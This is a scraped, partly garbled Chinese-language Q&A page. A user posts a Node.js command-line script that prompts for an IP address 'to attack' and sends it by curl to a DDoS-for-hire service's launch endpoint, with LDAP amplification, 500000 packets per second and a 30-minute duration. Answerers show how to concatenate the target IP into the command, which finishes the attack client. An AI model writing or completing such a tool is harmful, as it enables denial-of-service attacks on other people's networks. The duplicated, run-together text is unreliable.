Javascript 将变量添加到curl命令中
我需要为我的CLI客户端将“answer”放入curl-d target=中。我已经研究了好几个小时了,但还没有弄明白。你有没有尝试过字符串连接,因为你只是用curl命令将一个字符串传递给execJavascript 将变量添加到curl命令中,javascript,Javascript,我需要为我的CLI客户端将“answer”放入curl-d target=中。我已经研究了好几个小时了,但还没有弄明白。你有没有尝试过字符串连接,因为你只是用curl命令将一个字符串传递给exec var readline = require('readline'); var exec = require('child_process').exec, child; var rl = readline.createInterface({ input: process.stdi
var readline = require('readline');
var exec = require('child_process').exec,
child;
var rl = readline.createInterface({
input: process.stdin,
output: process.stdout
});
rl.question('What is the ip address you wish to attack?', (answer)
=>
{
const concatenation = 'Attacking ' + answer;
child = exec('curl https://api.wifi.rip/v1/attacks/launch \
curl -X POST \
curl -d token="" \
curl -d target= \
curl -d port=80 \
curl -d duration=1800 \
curl -d method="LDAP" \
curl -d pps=500000 \
curl -v');
console.log(concatenation);
child.stdout.pipe(process.stdout);
rl.close();
});
例如,您可以执行以下操作:
var answer = "the answer";
console.log("This is " + answer); // Prints "This is the answer"
谢谢大家的帮助。js中的连接是
+
,类似于curl-d target='+answer+'
,或者您可以使用模板文本将所有curl命令放在``而不是“
或'
中,然后在您希望变量所在的特定位置执行${answer}非常感谢。我知道这是一个简单的解决办法,我就是想不出来。
exec('curl https://url.com \
...
curl -d target=' + answer + ' \
curl ...')
concatenation in js is +, like curl -d target=' + answer + '